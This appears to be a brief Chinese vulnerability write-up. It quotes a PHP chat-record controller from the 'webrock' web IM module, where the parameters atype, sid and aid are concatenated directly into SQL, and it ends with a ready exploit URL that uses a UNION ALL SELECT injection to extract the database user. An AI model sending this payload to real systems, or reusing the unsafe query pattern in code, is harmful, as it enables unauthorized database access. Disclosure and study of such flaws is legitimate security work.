在webrock\webim\record目录下,recordAction.php代码:
```
public function dataAjax()
{
$atype = $this->request('atype');
$sid = $this->request('sid');
$aid = $this->request('aid');
$page = (int)$this->request('page', '1');
$fen = 20;
$whes = $this->rock->dbinstr('receuid', $aid);
$where = "";
if($atype == 'user'){
$where = "and ((`sendid`=$aid and `receid`=$sid) or (`sendid`=$sid and `receid`=$aid))";//直接拼接sql语句导致sql注入
}
if($atype == 'group' || $atype == 'system' || $atype == 'dept'){
$where = "and `receid`=$sid and $whes ";
}
$count = m('im_mess')->rows("`type`='$atype' $where");
$maxpage= ceil($count / $fen);
$sql = "select * from [Q]im_mess where `type`='$atype' $where order by `id` desc limit ".(($page-1)*$fen).",$fen";
$rows = $this->db->getall($sql);
if($atype != 'system'){
$snid = '0';
foreach($rows as $k=>$rs){
$snid .=','.$rs['sendid'];
}
if($snid != '0'){
$uarr = m('admin')->getall("`id` in($snid)", '`id`,`name`,`face`');
$_ursa= array();
foreach($uarr as $k=>$rs){
$rs['face'] = $this->rock->repempt($rs['face'], 'images/im/user100.png');
$_ursa[$rs['id']] = $rs;
}
foreach($rows as $k=>$rs){
$rows[$k]['sendname'] = $_ursa[$rs['sendid']]['name'];
$rows[$k]['sendface'] = $_ursa[$rs['sendid']]['face'];
}
}
}else{
foreach($rows as $k=>$rs){
$rows[$k]['sendname'] = '';
$rows[$k]['sendface'] = 'images/im/shezhi_blue.png';
}
}
echo json_encode(array(
'data' => $rows,
'count' => $count,
'page' => $page,
'maxpage' => $maxpage
));
}
}
```
可以看到,该函数中直接拼接sql语句,导致了sql注入。
exp:
/rock.php?a=data&d=webim&m=record&ajaxbool=true&atype=fuck%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&sid=12`&aid=12`&page=1
暂无评论